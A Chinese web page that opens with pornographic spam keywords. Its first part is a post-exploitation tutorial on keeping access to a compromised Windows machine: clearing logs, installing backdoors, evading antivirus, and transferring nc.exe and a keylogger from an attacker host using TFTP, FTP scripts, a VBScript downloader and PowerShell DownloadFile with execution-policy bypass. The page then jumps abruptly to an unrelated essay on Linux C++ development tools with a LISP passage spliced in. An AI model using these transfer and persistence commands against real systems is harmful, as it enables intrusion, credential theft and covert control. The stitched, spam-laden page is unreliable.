操屁眼的视频在线免费看,日本在线综合一区二区,久久在线观看免费视频,欧美日韩精品久久综

新聞資訊

    來解釋一下什么是后漏洞利用階段。就是經過一系列簡單或者復雜的操作后,你已經獲取了目標機器當前的管理員權限,但是你這個管理員權限不一定一直會有效,說不定目標機器的主人明天就更新補丁,就把現有的一些緩沖區溢出的漏洞封死了。

    所以我們要在還能擁有權限的這段時間,給自己開一個長久有效的后門。

    后漏洞利用階段:操作步驟

    一般在后漏洞利用階段,我們主要做這些操作:

    1. 上傳工具
    2. 提權
    3. 擦除攻擊痕跡
    4. 安裝后門:4.1 長期控制、4.2 dump密碼、4.3 內網滲透

    上傳工具很容易理解,目標機器畢竟不是我們自己的,有我們所有需要的工具,目標機器現有的工具也不一定能滿足你的需要,所以要根據實際情況,往目標機器里傳入一些用于實現后續目的的工具。

    提權是因為你進入目標機器,不一定是以管理員的身份進入,也許只是以普通用戶的身份進入,這時候就需要想其他辦法提升當前賬號的權限,或者給自己弄一個管理員賬號。不然后續的很多操作可能都會受到限制。

    擦除攻擊痕跡是比較重要的一個步驟,不管是操作系統的日志,還是應用程序的日志,都需要清理干凈。我們前期的掃描、攻擊動作,都會在目標系統留下相應的記錄,就拿前面對SLmail的攻擊作為例子,在目標機器的日志中會有對應的記錄:

    攻擊機在目標機器留下的記錄

    最后安裝后門,就是我們的最終目的。

    后漏洞利用階段:難點

    后漏洞利用階段最大的挑戰是防病毒軟件。防病毒軟件都有很豐富的特征庫,只要匹配上特征庫,就會被當成病毒或者漏洞進行處理。而前面的操作,很多都會被防病毒軟件識別出來并修改。

    為了防止被防病毒軟件的特征庫匹配上,我們在選用傳給目標機器的軟件時,盡量選用合法的遠程控制軟件。比如目標機器是Linux系統的話,curl和wget一般是所有Linux系統都會預裝的工具,通過這兩個工具很容易就能完成其他工具或者木馬的下載安裝,或者安裝一個netcat,也就能完成很多騷操作。而Windows系統的dos界面的預裝下載工具,其實是比較少接觸和使用的,很多人都習慣了Windows圖形化界面的工具。

    后漏洞利用階段:Windows的目標機器

    像前面利用SLmail緩沖區溢出獲取的遠程控制,也就是shell,是一種非交互模式shell,類似nc的遠程控制shell,

    非交互模式shell和交互模式shell比較明顯的不同有以下幾點:

    1. 不能通過tab鍵進行命令補全,非交互模式shell必須手敲完整命令;
    2. 在非交互模式shell里面執行一個子命令,比如輸入python,無法進入對應的控制臺。

    非交互模式shell無法進入子命令

    所以我們要盡量實現交互模式的遠程控制。只是獲得了非交互式模式的遠程控制,對于我們后續的操作還是有一些限制的。所以接下來我們主要介紹一些將工具傳給目標主機的方法。

    往Windows傳文件:TFTP

    TFTP(Trivial File Transfer Protocol,簡單文件傳輸協議)是一個傳輸文件的簡單協議,絕大多數情況下基于UDP協議而實現,也不排除有部分TFTP協議是基于其它傳輸協議完成的。用來在客戶機與服務器之間進行簡單文件傳輸,提供不復雜、開銷不大的文件傳輸服務。端口號為69。

    TFTP沒有身份校驗的功能,所以沒有成為主流的傳輸工具。現在主流的windows10是需要單獨添加TFTP服務的,不能直接使用。以前的windowsXp是默認預裝的,不過現在應該很少有人用xp了。而且現在的邊界防火墻一般都會將tftp的數據包過濾掉,所以TFTP使用場景其實還是有些局限性的。

    如何在windows10安裝TFTP就不在這里展開了,網上有比較詳細的教程帖子。這里主要演示將kali作為服務器,在windows環境下載服務器上的文件。

    先要在作為服務器的機器上創建一個根目錄,這個目錄用于存放各種遠程控制軟件:

    mkdir /tftp

    修改tftp文件夾的擁有者,讓誰都可以訪問:

    chown -R nobody /tftp/

    找一些kali里默認存放著的一些控制工具到tftp文件夾:

    cp /usr/share/windows-binaries/nc.exe /tftp

    在/usr/share/windows-binaries/目錄下,存放了一些為windows機器準備的一些安裝程序。

    啟動tftp的服務:

    atftpd --daemon --port 69 /tftp

    參數--daemon表示在后臺運行,后面的--port就是指定端口。

    可以通過檢查端口來判斷tftp的服務是否啟動:

    netstat -pantu | grep 69

    需要注意的一點是,如果你的檢查結果顯示(最右邊那項)進程不是atftpd,可能是你的權限還有問題,沒有將tftp文件夾和里面的所有文件的擁有者改成nobody。

    當然就算檢查結果顯示進程是atftpd,如果tftp文件夾里的文件不是nobody,后面其他機器想要下載也會有問題。所以只要有文件放入tftp文件夾,就執行一下上面修改文件擁有者的命令:

    修改文件的權限

    然后就可以在Windows機器去下載kali里的文件了:

    tftp -i 192.168.0.102 get nc.exe

    這里介紹兩個kali里為Windows機器準備的三個程序。第一個是nc.exe,它的功能和netcat類似;第二個是whoami.exe,可以檢查當前使用賬戶的權限;第三個是klogger.exe,一旦運行,就會記錄所有鍵盤的敲擊,對于盜取賬戶密碼應該是很挺有用的。

    往Windows傳文件:FTP

    kali默認是沒有預裝ftp工具的,所以需要自己選擇一個ftp工具進行安裝。ftp的工具有很多,比如vsftpd、pure-ftpd等等,這里使用的是vsftpd。

    安裝比較簡單,直接一個命令就可以:

    apt-get install vsftpd

    如果下載不成功的話,可以到/etc/apt/sources.list文件里修改一下源地址。

    vsftpd常用的命令如下:

    # 啟動服務
    service vsftpd start
    # 查看服務
    service vsftpd status
    # 停止服務
    service vsftpd stop
    # 重新啟動服務
    service vsftpd restart

    可以先啟動一下,看看能不能順利啟動:

    檢查vsftpd安裝是否正確

    接下來先要創建一個用于上傳下載的目錄,要給創建的這個目錄修改一下權限,因為實際使用中會創建、修改文件,我這邊圖簡便就直接777了:

    創建上傳/下載的目錄

    然后需要新建用戶并設置密碼:

    新建用戶

    如果不明白useradd各個參數的使用,可以通過-h看一下使用說明。這里-d表示設置新用戶的home目錄,-s表示新用戶的登錄方式。

    修改配置文件vsftpd.conf:

    控制用戶登錄

    還有將vsftpd.conf文件里的這個注釋取消:

    取消注釋

    取消這個注釋是為了能夠寫入文件。

    前面配置的時候是用/root/allowed_users文件來控制登錄,那就要到對應位置創建文件:

    設置登錄用戶

    在配置了登錄用戶后,你可能會發現這些用戶還是無法登錄,那你就可以到黑名單文件看一下,你的用戶是否在黑名單上面:

    cat /etc/ftpusers

    完成上述配置后重啟一下vsftpd的服務,讓配置生效:

    重啟vsftpd服務

    這個時候已經可以正常使用ftp了,先在本地試一下:

    本地使用ftp

    換到windows環境下訪問ftp:

    ftp://ftpuser:ftpuser@192.168.0.102

    別用瀏覽器直接輸入命令,大概率會出現問題,到“我的電腦”地址欄輸入命令,或者也可以使用ftp工具(Windows自帶ftp工具)。

    這里可能有些同學會想到我們最開始獲取的都是非交互模式shell,無法正常完成賬戶名、密碼的驗證,也沒有圖形化界面可以使用。

    其實可以換個思路,將所有目標機器上要執行的ftp命令,都寫到目標機器的文本文件里,最后使用Windows上的ftp命令調用前面寫的文本文件:

    在目標機器制作ftp.txt文件

    讓ftp讀取文本中的相關指令:

    執行ftp.txt

    可以查看一下是否獲取到文件:

    查看獲取到的文件

    往Windows傳文件:vbscript

    vbscript能實現的功能很多,這里就演示一個讓目標主機通過http訪問我預先準備好的地址,將事先準備好的軟件下載到目標主機。

    因為要通過http訪問,所以要啟動一個服務,這里使用kali中自帶的apache服務:

    service apache2 start

    apache服務的默認目錄在:/var/www/html,將要傳給目標主機的軟件移動或者復制到這個目錄:

    將軟件存入預定位置

    生成vbscript的腳本的命令如下:

    echo strUrl = WScript.Arguments.Item(0) > wget.vbs
    echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
    echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
    echo Err.Clear >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
    echo http.Open "GET", strUrl, False >> wget.vbs
    echo http.Send >> wget.vbs
    echo varByteArray = http.ResponseBody >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
    echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
    echo strData = "" >> wget.vbs
    echo strBuffer = "" >> wget.vbs
    echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
    echo ts.Write Chr(255 And Ascb(Midb(varByteArray, lngCounter + 1, 1))) >> wget.vbs
    echo Next >> wget.vbs
    echo ts.Close >> wget.vbs

    最后生成的vbscript腳本是這樣的:

    vbscript腳本

    執行的時候需要使用cscript工具:

    cscript wget.vbs http://192.168.0.102/whoami.exe whoami.exe

    查看軟件是否被下載:

    檢查下載的軟件

    往Windows傳文件:powershell

    vbscript相對以前,其實不是很被推崇了,現在比較新的Windows系統,都是推薦使用powershell,所以這里也介紹一種powershell傳輸軟件的方式。

    腳本比較簡單:

    $storngeDir = $pwd
    $webclient = New-Object System.Net.WebClient
    $url = 'http://192.168.0.102/whoami.exe'
    $file = 'D:\w.exe'
    $webclient.DownloadFile($url, $file)

    在已經開啟http服務的情況下,在Windows環境通過命令執行上面這個腳本:

    powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

    如果執行的時候遇到“遠程服務器返回錯誤: (403) 已禁止。”,那應該是源文件的權限有問題,用chmod命令去修改一下權限就可以了。

    執行命令中的一些參數-ExecutionPolicy主要是為了允許本地執行powershell腳本,感興趣的可以通過-Help看一下幫助說明。

    上面的腳本其實可以省略,直接在dos界面執行一個長命令:

    powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.0.102/whoami.exe', 'D:\w.exe')

    也能達到同樣的效果:

    下載軟件

    如果本地的執行策略比較嚴格,還是需要加上前面的那些參數。

    還有powershell能使用的模塊很多,不一定要用System.Net.WebClient,還有Invoke-WebRequest、Invoke-RestMethod、Start-BitTransfer都能達到同樣的效果。具體使用哪一個模塊,主要看你控制的機器具體版本,一般都是有什么用什么。

    往Windows傳文件:debug

    Debug工具是windows用來做匯編等的一個工具。在新一點的Windows10已經沒有了,早一些的WindowsXp還是有的。如果你的目標機器是Windows10的系統,且現有條件讓你必須使用debug,那你必須給目標機器安裝一個debug工具,這就變成先有雞還是先有蛋的問題了。不是很推薦debug這種方式傳輸軟件。

    先將要傳遞的軟件進行壓縮:

    upx -9 whoami.exe

    壓縮不是必須的,只是當文件太大的時候,debug就無法轉換成功,debug最大只能是64Kb。

    用工具exe2bat.exe轉換一下:

    wine /usr/share/windows-binaries/exe2bat.exe whoami.exe whoami.txt

    由于這個工具是Windows環境的,所以要通過wine工具來運行。可以看到輸出的文檔:

    cat whoami.txt

    在已經獲取的非交互模式shell中,直接執行輸出txt文檔里面的內容,除最后兩行外。

    執行完之后,在被控制的目標機器上就會有一個123.hex文件:

    目標機器生成123.hex

    然后執行倒數第二行命令debug<123.hex,Windows就會進行一個匯編的工程,最終輸出一個1.DLL文件,這個文件其實就是原來的exe文件。最后就是執行最后一行命令copy 1.dll whoami.exe,將文件還原成exe的可執行文件。

    就C++開發工具而言,與Windows下微軟(VC, VS2005等)一統天下相比,Linux/Unix下C++開發,可謂五花八門,各式各樣。Emacs, vi, eclipse, anjuta,kdevelop等層出不窮。

    Windows下,開發工具多以集成開發環境IDE的形式展現給最終用戶。例如,VS2005集成了編輯器,宏匯編ml,C /C++編譯器cl,資源編譯器rc,調試器,文檔生成工具, nmake。它們以集成方式提供給最終用戶,對于初學者而言十分方便。但是,這種商業模式,直接導致用戶可定制性差,不利于自動化,集成第三方工具的能力弱。

    例如,無法定制一些宏來處理一些重復操作;體會不到自動化makefile一步到位快感;無法遠程登錄到服務器上進行開發;無法使用某種粘合劑來把第三方工具(例如,文本工具,字符串工具)有效地調用起來。可以說,良好的商業支持和傻瓜式開發,是它們主要的優點。

    在linux下,開發工具被切割成一個個獨立的小工具。各自處理不同的問題。例如:

    編輯器(emacs, vim) 用來進行編輯程序的

    調試器(gdb) 用來調試程序

    編譯器(GCC) 用來編譯和鏈接程序的

    性能分析工具(gcov, gprof) 用來優化程序的

    文檔生成器(doxygen) 用來生成文檔的

    同時,還有一些系統工具和系統知識,我們是很有必要了解的:程序自動化機制 makefile,系統粘合劑shell,系統查找工具grep, locate, find。其它的工具(例如ctags, OCI公司的MPC等等),一旦熟練掌握,它們將成為你手中的利器。

    本文主要是一些針對LINUX下開發工具使用的經驗之談。由于,工具品種繁多,我們沒有能力也沒有必要一一介紹。對于LINUX下IDE工具,例如 eclipse, anjuta等,它們雖然也很實用,但是使用起來比較簡單,而且目前還算不上主流。所以,它們將不被著重介紹。同時,本文也不打算寫成各個工具的操作手冊,只著眼于介紹各個工具的想要解決的問題、運行機理和主要特性。

    編輯器

    要進行開發,第一件事情就是選擇一個合適的編輯器。編輯器選擇有幾個要素:

    1)減少不必要的編輯動作,減少編輯的時間。

    一切能夠無二義性描述出來的編輯任務,都可以而且應該能被自動化。例如,每一個C++程序都會有一個main函數;我們在定義.h文件時,都希望加入一些預處理指令#define來幫我們解決重復引用同一個頭文件而帶來的麻煩。鼠標操作總是比鍵盤操作要慢的。這方面 EMACS 做得可算是到了極致。所以, EMACS用戶經常會吹噓:他們編輯的速度等同于他們思考的速度。

    =============================================================================

    鏈表處理語言 (有專貼)

       LISP(全名LISt Processor,即鏈表處理語言),由約翰·麥卡錫在1960年左右創造的一種基于λ演算的函數式編程語言。

      LISP有很多種方言,各個實現中的語言不完全一樣。各種LISP方言的長處在于操作符號性的數據和復雜的數據結構。1980年代Guy L. Steele編寫了Common Lisp試圖進行標準化,這個標準被大多數解釋器和編譯器所接受。在Unix/Linux系統中,還有一種和Emacs一起的Emacs Lisp(而Emacs正是用Lisp編寫的)非常流行,并建立了自己的標準。

      LISP的祖先是1950年代Carnegie-Mellon大學的Newell、Shaw、Simon開發的IPL語言。

      LISP語言的主要現代版本包括Common Lisp和Scheme。

      lisp擁有理論上最高的運算能力

      lisp在cad繪圖軟件上的應用非常廣泛,普通用戶均可以用lisp編寫出各種定制的繪圖命令。

    =============================================================================

    2)可擴展性高。

    程序員預期的編輯器應該能提供一些編程的幫助,例如,語法高亮,自動補齊,自動排版,語法檢查等等。留心觀察一下gedit, vim, emacs, ultraEdit,就會發現它們提供的遠不是windows 記事本,寫字板提供的那么簡陋的功能。對于一種新的語言,新的語法,它們應該能很方便地提供支持,而不停留在一種或幾種固定的語言上。

    3)用戶可定制性高。

    如果想長期從事研發, 特別是linux/unix下研發的話,那么你很有必要學好一個功能足夠的編輯器。有這么一句話:Linux下程序員分為三種,使用emacs的,使用vi的,還有其它。

    EMACS是Stallman用lisp語言寫的一個GPL的編輯器。我們這里所說的emacs指的是GNU emacs,而非Xemacs。由于它的開放性,我們可以把它打造成一個功能強大的IDE。我們在安裝好CGYwin之后,也可以在Windows系統下使用 EMACS。CGYwin和MINGW是第三方寫的一個在Windows系統上模擬POSIX系統的工具。

    EMACS與其說的是一個編輯器,倒不如說它是一個操作系統。我們可以用它來寫編程,寫wiki,收發郵件等等。EMACS主要是通過兩種方式來進行擴展:el腳本(elisp是lisp的一種方言)和第三方擴展包。EMACS的入門成本很高。由于是純鍵盤操作,所以需要記憶大量的快捷鍵;功能強大是通過用戶添加一些擴展包,lisp腳本來實現的。如何正確配置和修改是很需要耐心和技巧的。

    編譯器

    編譯器首選GCC(GNU COMPILER COLLECTION)。原因有兩個,它是GNU開源的,同時它對標準C++的支持度高達96.15%。而VC++6.0的支持度只有83.43%。 GCC不僅是通常意義上的C或C++的編譯器,它還可以編譯java等其它語言。gcc是GUN c的編譯器, g++ 是GUN c++的編譯器, 而EGCS(Enhanced GNU Compiler Suite)可以認為是gcc的改進版。

    編譯語言從源程序到目標代碼會經過如下幾個階段:源程序->匯編程序->編譯成obj程序->鏈接成最終可執行程序。我們可以通過一條編譯指令來完成所有步驟。也可以分步執行。

    gcc有三個重要選項-E(只進行預處理), -S(生成匯編代碼), -g(生成帶原代碼調試符號的可執行文件,如果想用gdb調試的話,就應該在編譯時打開這個選項)。

    GCC可以看作一個軟件包,除了編譯工具,它還集成了調試器gdb,性能分析工具gcov, gprof。只要我們裝好了GCC,這些強大工具就可以直接使用了。

    通過gcov,我們可以查看一個程序,源代碼中每行代碼的運行次數。我們優化運行次數最多的代碼,那么就可以大大優化程序。使用gcov時,需要打開 GCC的 fprofile-arcs 和 ftest-coverage 兩個選項。gcov中常用的選項有-b分支統計信息。

    通過gprof工具,我們可以查看函數之間的調用順序,及各個函數運行的時間。我們可以將gprof理解為linux/unix自帶工具time的加強版。使用gprof時,需要打開GCC的pg選項。

    gcov 和 gprof 的共同點是在編譯程序時,加入自己的一些輔助信息,由此來進行程序診斷。除了,這些優化手段,我們還可以使用一些內存泄漏工具,來減少野指針,未釋放的內存空間。

    調試器

    GDB即GNU的調試器,它是GCC附帶的一個性能優質的調試器。通過GDB和腳本結合,我們可以很好的實現回歸測試。

    GDB可以運行于CLI和GUI兩種模式(命令行和圖形模式) 。默認GDB是CLI模式的,我們可以去下載和安裝GUI模式的GDB,例如xxgdb, ddd等。一個更好的方式是在 EMACS中使用GDB。GDB包括visual studio工具的所有調試功能,還包括它沒有的功能。它除了支持,我們一般的設置斷點,單步跟蹤,step in, step out, step over等,還有一些強大的功能。在gdb中,我們可以有以下幾種暫停方式:斷點(BreakPoint)、觀察點(WatchPoint)、捕捉點(CatchPoint)、信號(Signals)、線程停止(Thread Stops)。

    下面列舉幾個讓我印象深刻的功能。1)通過 watch指令,可以讓程序在某個變量的值發生變化時,暫停下來。2)通過print指令,在程序運行時,設置變量的值,運行一個程序自身支持的一個方法。3)通過until指令,我們可以讓程序在運行到某個程序時暫停下來。4)通過break.. if指令,使得程序在滿足某個bool表達式時,暫停下來。

    粘合劑

    我想通過粘合劑這個詞來表達將多個工具粘合起來的膠水。例如,通過shell腳本,我們可以把OS命令,sed指令,awk指令,其它腳本文件等串聯起來,發揮它們的合力。在linux C++編程中,我們不可避免地會使用makefile文件。通過它我們可以把編譯指令,生成文檔操作,清除操作等等串聯起來。從某種意義上來看,它也相當于一個粘合劑。

    makefile的出發點是,維護好一個項目中眾多文件的依賴關系,由此得到一個源程序的拓撲圖。當我們只修改圖中某個結點時,重新編譯時就只需要將拓撲圖中關聯的鏈路進行編譯就好了。由此,大大縮短了編譯的時間。make有兩大概念:dependencies和rules。規則rule即針對每一個依賴關系 dependency定義一個操作規則。這個細粒度的分離,就可以使我們可以定制軟件構建的行為。例如,修改使用的編譯器,修改includepath, 修改libpath, 修改編譯選項等等。我們常見的VC中的nmake,功能和make是類似的。

    make使用的重點和難點是編寫Makefile文件。Makefile的語法相對其它語言來說是很不一樣的,我們要特別注意TAB鍵和空格鍵的區別。有很多工具可以用來幫助我們生成Makefile。最出名的就是GNU的autoconf了。一個GNU程序的編寫,需要autoscan, aclocal, autoconf, automake這四個工具。

    我們知道GNU軟件安裝的三步曲是:./configure, make, make install。其中./configure就是根據autoconf, alocal等工具生成一個makefile文件。make指令就是調用make指令來根據makefile文件的規則來編譯源程序。而make install就是執行makefile中的install規則指出的操作(一般是copy操作)。而make clean就是執行makefile中的clean規則指出的操作(一般是rm操作)。我們用Eclispe+CDT開發Managed C++ Project時,它就是通過objects.mk,subdir.mk,sources.mk三個文件來生成Makefile。我們注意觀察編譯時的輸出信息,就可以看到顯示的Makefile文件的內容。

    可以說,如果想編譯出跨平臺的C++程序,那么makefile是一種最方便的機制。

    OCI公司為Douglas C.Schmidt的ACE,TAO開源社區編寫了一段偉大的perl腳本--MPC。它由平臺信息,一個規則文件,源代碼,生成用戶想要的工程文件,例如Make, Nmake, Visual C++ 6, Visual C++ 7等等。Google Web Tookit, Celtix做的事情與之類似,不過它們是針對JAVA的,而MPC是針對C++的。

    結束語

    國內資料太多的低層次的重復,經常是一個網頁被多次轉載,而且回答問題時深度不夠。個人找資料的順序是:

    查看quick start或how to文檔->自帶的幫助(如果看起來不太吃力話)->百度查一下中文網頁,來理清一下基本概念->google查一下->幾個大的,相關的網站查下資料->看自帶幫助。再者,面對面的交流是十分重要的,大家可以相互理一下概念,交流一下心得。可惜,我身邊這種氛圍還是不夠。 // 這種氣氛現在想來是無比的難得

    Linux下開發還可以更友好一些。個人感覺, linux開發要在國內普通程序員中大規模普及,還有一段很長的路要走。ubuntu火爆的主要原因,就是它幫用戶搭好一些默認配置。用戶如果想新加一些服務,它們提供了良好,有效地支持。所以,我想我們可以在IDE和現在linux這種一個個小部件的這兩種狀態之間,取一個折衷。也就是針對幾種主要需求的用戶,發布一些配置好的環境。尤其是emacs的各種el腳本(例如界面主題的color-theme, C/C++語言編輯策略,代碼樣式設置腳本,各種emacs系統設置), 第三方擴展包(模板template, 編程支持包cedet等)。每一個用戶浪費時間來進行這些配置是十分沒有意義的!工具始終只是工具,我們不能淪為工具的奴隸,不能把一大部分精力浪費在配置工具上。

    值得注意的是現在方興未艾的eclipse有向這方面邁進的趨勢。但是,現在emacs已經做得很好了,ecilpse能否超越它,我們還有待觀察。我們可以通過在eclipse上安裝SDT插件來進行C++開發。但是,它目前還不支持調試功能,而且不太穩定,功能不夠強。例如,有時會無故死掉;如果想通過eclipse來轉向函數原型的話,那么迎接你的將是一個漫長、焦急的等待。

    由于本人缺少在linux下進行實際大規模程序的開發經驗,對很多工具和機制的理解還比較膚淺。對它們的熟悉程度離真正實用,還有一段很長的路要走。

    最后,如果你想學C/C++可以私信小編“01”獲取素材資料以及開發工具和聽課權限哦!

網站首頁   |    關于我們   |    公司新聞   |    產品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有